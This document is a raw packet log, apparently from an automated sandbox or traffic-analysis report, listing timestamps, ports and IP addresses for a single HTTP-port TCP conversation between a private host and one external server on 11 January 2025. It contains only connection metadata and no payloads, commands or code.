Jan 11, 2025 06:56:20.497829914 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497842073 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497854948 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497869015 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497895002 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497895956 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497906923 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497920036 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497931957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497951984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497982025 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497986078 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497996092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498008966 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498042107 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498456955 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498469114 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498486996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498498917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498509884 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498522043 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498524904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498538971 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498542070 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498557091 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498564005 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498569012 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498580933 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498586893 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498594046 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498606920 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498620987 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498651981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498656034 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.498666048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.498696089 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.499150038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499166965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499180079 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499190092 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.499191999 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499209881 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499222994 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499233961 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.499258995 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.499300003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499326944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499339104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.499341011 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.499377966 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.514853001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.514883995 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.514895916 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.514936924 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.514965057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.514977932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.514991999 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515007019 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515028000 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515070915 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515083075 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515094042 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515114069 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515120029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515131950 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515155077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515193939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515301943 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515345097 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515501976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515522003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515532970 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515539885 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515546083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515558004 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.515580893 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.515608072 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.527173042 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527187109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527199030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527220964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527231932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527242899 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527241945 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.527297974 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.527661085 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527681112 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527690887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527703047 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527714968 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527726889 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527729034 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.527741909 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.527772903 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.527800083 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.541424036 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.541440964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.541454077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.541553020 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.554544926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.554559946 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.554574013 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.554701090 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.572146893 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572160006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572173119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572217941 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.572308064 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.572316885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572329044 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572341919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572355032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572367907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572374105 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.572437048 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.572474003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.572644949 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584005117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584021091 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584042072 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584088087 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584099054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584111929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584129095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584152937 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584161043 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584166050 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584178925 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584188938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584191084 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584211111 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584306955 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584364891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584395885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584408045 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584454060 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584474087 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584486961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584496975 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584515095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584522963 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584527969 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584543943 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584547043 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584557056 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.584594965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.584620953 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587035894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587213039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587225914 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587264061 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587713003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587750912 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587768078 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587779045 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587783098 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587799072 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587811947 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587816954 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587825060 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587837934 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587842941 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587851048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587863922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587869883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587877989 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587893009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587893009 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587905884 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587915897 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587918043 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587932110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587945938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587959051 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587960958 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.587971926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.587985039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588000059 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588001013 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.588011980 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588025093 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588026047 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.588038921 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588047981 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.588052034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588067055 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588083029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588097095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588099957 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.588109016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.588130951 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.588165045 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602116108 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602132082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602144003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602155924 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602171898 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602176905 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602221966 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602262020 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602277040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602289915 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602354050 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602431059 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602442980 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602483034 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602622032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602634907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602648020 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602660894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602662086 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602673054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602684021 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602696896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.602699995 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.602739096 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614097118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614123106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614139080 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614202976 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614207029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614218950 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614243984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614243984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614257097 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614283085 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614295959 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614309072 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614320040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614327908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614331007 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614341974 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.614353895 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.614383936 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.627962112 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.627976894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.627990961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.628046989 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.641064882 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.641088009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.641098022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.641139030 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.641177893 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.658936977 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.658957958 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.658968925 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.658978939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.658989906 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.658999920 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659003973 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.659012079 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659024000 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659049034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659058094 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.659091949 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.659140110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659152031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659161091 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.659182072 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.659209013 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.670943975 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.670963049 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.670974970 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.670985937 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.670996904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671020985 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.671035051 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671047926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671057940 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671058893 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.671082973 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671082973 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.671093941 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.671103001 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.671137094 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.863667011 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.868685961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.868701935 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.868715048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.868807077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.875101089 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880031109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880047083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880059958 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880146980 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880183935 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880196095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880196095 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880208015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880220890 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880232096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880242109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880253077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880253077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880264997 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880276918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880323887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880332947 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880336046 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880347013 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880359888 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880372047 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880383015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880387068 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880393982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880422115 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880464077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880506039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880517006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880528927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880549908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880563021 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880563974 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880578995 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880592108 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880599022 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880630016 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880686998 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880698919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880708933 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880718946 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880731106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880808115 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880808115 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880824089 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880837917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880851984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880862951 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880875111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880887985 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.880894899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.880902052 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881083965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.881546974 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881586075 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881597996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881608009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881627083 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881637096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881648064 CET	80	49717	193.143.1.205	192.168.2.10
